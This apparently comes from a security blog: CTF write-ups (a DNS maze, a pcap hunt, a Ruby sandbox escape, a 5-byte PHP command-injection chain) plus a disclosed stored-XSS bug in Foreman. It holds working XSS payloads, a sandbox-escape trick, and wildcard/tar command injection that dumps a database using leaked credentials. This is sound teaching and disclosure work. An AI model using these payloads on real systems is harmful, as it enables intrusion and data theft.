hxp CTF 2017 irrgarten

The hxp CTF 2017 irrgarten challenge:

Running the dig command (with added +short to reduce output) provided the following output:

$ dig -t txt -p53535 @35.198.105.104 950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link +short
"try" "down.<domain>"

Playing around with it we figured out you can prepend “up”, “down”, “left” and “right” to the records to navigate a maze:

$ dig -t txt -p53535 @35.198.105.104 down.950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link +short
569b8ba8-ac9a-4d60-a816-10d13b3d7021.maze.ctf.link.
$ dig -t txt -p53535 @35.198.105.104 down.569b8ba8-ac9a-4d60-a816-10d13b3d7021.maze.ctf.link +short
b55b6358-6f9a-4a2c-b68a-211f56c88df9.maze.ctf.link.
$ dig -t txt -p53535 @35.198.105.104 left.b55b6358-6f9a-4a2c-b68a-211f56c88df9.maze.ctf.link +short
$

An empty reply probably means that there is a wall in the way otherwise you get the DNS record of the next tile.

To solve it and figure out how big the maze is, this very inefficient Python script was created:

#!/usr/bin/env python
import os
import subprocess

todo = [ '950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link.\n' ]
done = [ ]
directions = [ 'up', 'down', 'left', 'right' ]

while True:
  for tile in todo:
    check = subprocess.check_output("/usr/bin/dig +short -t ANY -p53535 @35.198.105.104 " + tile, shell=True)
    print check
    for direction in directions:
      fqdn = direction + '.' + tile
      output = subprocess.check_output("/usr/bin/dig +short -t ANY -p53535 @35.198.105.104 " + fqdn, shell=True)
      if output:
        if output not in done:
          todo.append(output)
          print output

    todo.remove(tile)
    done.append(tile)

  if not todo:
    break

This basically loops over all known tiles and checks if there is an accessible tile next to it in all 4 directions. If there is it adds it to the todo list and moves on. All newly found tiles get written to stdout. The base FQDN without the direction prepended gets also queried, this is where we suspected the flag will be found.

While this was running we were trying to implement a more efficient solution but it captured the flag after around 28’000 tiles:


"Flag:" "hxp{w3-h0p3-y0u-3nj0y3d-dd051n6-y0ur-dn5-1rr364r73n}"

 

Stored XSS in Foreman

Following up a bit on my recent post “Looking at public Puppet servers” I was wondering how an attacker could extend his rights within the Puppet ecosystem especially when a system like Foreman is used. Cross site scripting could be useful for this, gaining access to Foreman would allow an attacker basically to compromise everything.

I’ve focused first on facts. Facts are generated by the local system and can be overwritten given enough permissions. Displaying facts in the table seemed to be secured sufficiently, however there is another function on the /fact_values page: Showing an distribution graph of a specific fact.

When the graph is displayed HTML tags are not removed from facts and XSS is possible. Both in the fact name (as a header in the chart) and fact value (in the legend of the chart).

For example, add two new facts by running:


mkdir -p /etc/facter/facts.d/
cat << EOF >> /etc/facter/facts.d/xss.yaml
---
aaa_test_fact<script>alert(1)</script>: xxx
aab_test_fact: x<script>alert(1)</script>xx
EOF

It will shop up like this in the global /fact_values page:

Clicking on the “Show distribution chart” action on either of those facts will execute the provided alert(1) JavaScript:

That’s fun but not really useful, tricking someone to click on the distribution chart of such a weird fact seems impractical.

But since the XSS is in the value of the fact we can just overwrite more interesting facts on that node and hope that an Administrator wants to see the distribution of that fact. For example, let’s add this to xss.yaml:

kernelversion: x><script>alert(1)</script>xx

Now if an Administrator wants to know the distribution of kernel versions in his environment and he uses this chart feature on any host the alert(1) JavaScript will get executed. This is what any other node will look like:

And after navigating to the kernelversion distribution chart on that page:

Still some interaction needed. I’ve noticed that on the general /statistics page the same graphs are used and facts like “manufacturer” are used in them. Unlike the other graphs these do not have a legend. But when you hover over a portion of the graph you’ll get a tooltip with the fact value. This is again vulnerable to XSS. For example add to xss.yaml:

manufacturer: x<img src='/' onerror='alert(1)'>x

Now when you visit the /statistics page and move the mouse over the hardware graph, the alert(1) will execute:

Still needs interaction. But if you inject a value into all the graphs it may not take long for an Administrator to hover over one of those.

However: By default Foreman uses CSP. Stealing someones session with this setup is not easily possible. So my initial plan to steal an Administrators Foreman session failed in the end.

This was tested on Foreman 1.15.6 and reported to the Foreman security team on 2017-10-31.
CVE-2017-15100 has been assigned to this issue.
A fix is already implemented and will be released with version 1.16.0.

 

HITCON 2017 CTF Data & Mining

The HITCON 2017 CTF “Data & Mining” challenge:

The file attached was a 230MB big pcapng file.

I think I solved this by accident. I was sifting through the data for a bit and started to exclude the flows with a huge amount of data as it was mostly compressed / unreadable to me.

In the remaining data I stumbled over a plaintext TCP stream on port 3333:

This contained the flag in plaintext: hitcon{BTC_is_so_expensive_$$$$$$$}

In retrospective, searching for the string hitcon in the packet data would have worked as well.

HITCON 2017 CTF Baby Ruby Escaping

The HITCON 2017 CTF “Baby Ruby Escaping” challenge had the following description:

And the attached Ruby file was:

#!/usr/bin/env ruby

require 'readline'

proc {
  my_exit = Kernel.method(:exit!)
  my_puts = $stdout.method(:puts)
  ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline }
  set_trace_func proc { |event, file, line, id, binding, klass|
    bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/
    bad_class = /(?&lt;!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread/
    if event =~ /class/ || (event =~ /call/ &amp;&amp; (id =~ bad_id || klass.to_s =~ bad_class))
      my_puts.call "\e[1;31m== Hacker Detected (#{$&amp;}) ==\e[0m"
      my_exit.call
    end
  }
}.call

loop do
  line = Readline.readline('baby> ', true)
  puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect
end

Connecting to 52.192.198.197 on port 50216 we got the baby>  prompt and any entered Ruby code was executed except of course when it was blacklisted.

We were stuck with this for a while, nothing useful would execute. Until we noticed that all other challenges had only a “nc $ip $port” as the description and this one said: socat FILE:$(tty),raw,echo=0 TCP:52.192.198.197:50216

Of course, readline was implemented in this script. Connecting with the above socat and pressing TAB twice gave us:

baby>
.bash_logout
.bashrc
.profile
jail.rb
thanks_readline_for_completing_the_name_of_flag
baby>

Now we at least knew the filename to read was thanks_readline_for_completing_the_name_of_flag.

Again stuck on this for a while. We couldn’t load any new modules, we tried opening files in all the ways we could find and went through the Kernel module methods and finally found this way in the example of gets which worked:

baby> ARGV << 'thanks_readline_for_completing_the_name_of_flag'
=> ["thanks_readline_for_completing_the_name_of_flag"]
baby> print while gets
hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}
=> nil

That’s it, the flag was: hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}

HITCON 2017 CTF BabyFirst Revenge

The HITCON 2017 CTF “BabyFirst Revenge” challenge:

On the specified webserver this PHP script was running:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

Basically what it does is to execute whatever is passed in the cmd parameter if it is no longer than 5 bytes. The output of the command is not displayed.

After some time we figured out that the sandbox folder is also reachable via HTTP, e.g.: http://52.199.204.34/sandbox/727479ef7cedf30c03459bec7d87b0f0/. So we could at least run things like ls>x and fetch the result.

Out next idea was to use shell wildcards to run longer commands. We wanted a list of all files on the system first. We’ve created a empty file named find and then used wildcards to run it:

curl 'http://52.199.204.34/?cmd=>find'
curl 'http://52.199.204.34/?cmd=*%20/>x'

The second curl executes * />x which will effectively expand to find />x. We got the file x from the server and saw that this file exists and is readable by our current user:

/home/fl4444g/README.txt

We need to get that file. We’ve used tar to get it by requesting:

curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>zcf'
curl 'http://52.199.204.34/?cmd=>zzz'
curl 'http://52.199.204.34/?cmd=*%20/h*'

This creates the files tar, zcf and zzz. Then running * /h*. This expands then to:

tar zcf zzz /h*

Downloading the file “zzz” we find in the README.txt:

Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

Running mysqldump with that username and password will be impossible with only wildcards. Instead we figured out that if we POST content to that URL it will be stored in a file in /tmp for the duration of that request. With that we can upload arbitrary commands but not yet execute them. Any form of sh /tmp/* is too long for the 5 bytes limit.

Tar to the rescue again:


cat << EOF >> exploit.php
<?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?>
EOF
curl 'http://52.199.204.34/?reset=1'
curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>vcf'
curl 'http://52.199.204.34/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://52.199.204.34/?cmd=%2A%20%2Ft%2A'
curl 'http://52.199.204.34/?cmd=php%20z'

What it does is prepare a local file “exploit.php” which contains PHP code to run mysqldump and write the output to our sandbox folder. The --single-transaction parameter is important, without it the mysqldump will not complete due to missing permissions.

We then create the files tar, vcf and z on the server.
Then run * /t* which expands to:

tar vcf z /t*

This creates an uncompressed file “z” with all the contents of /tmp including our exploit which we POST’ed with that same request. After that with php z this tar file is executed. PHP will happily skip over all the binary parts and execute the PHP payload.

With that the “dump.sql” file is created, downloaded and it finally contained:

(...)
LOCK TABLES `this_is_the_fl4g` WRITE;
/*!40000 ALTER TABLE `this_is_the_fl4g` DISABLE KEYS */;
INSERT INTO `this_is_the_fl4g` VALUES ('hitcon{idea_from_phith0n,thank_you:)}');
/*!40000 ALTER TABLE `this_is_the_fl4g` ENABLE KEYS */;
UNLOCK TABLES;
(...)

The flag is: hitcon{idea_from_phith0n,thank_you:)}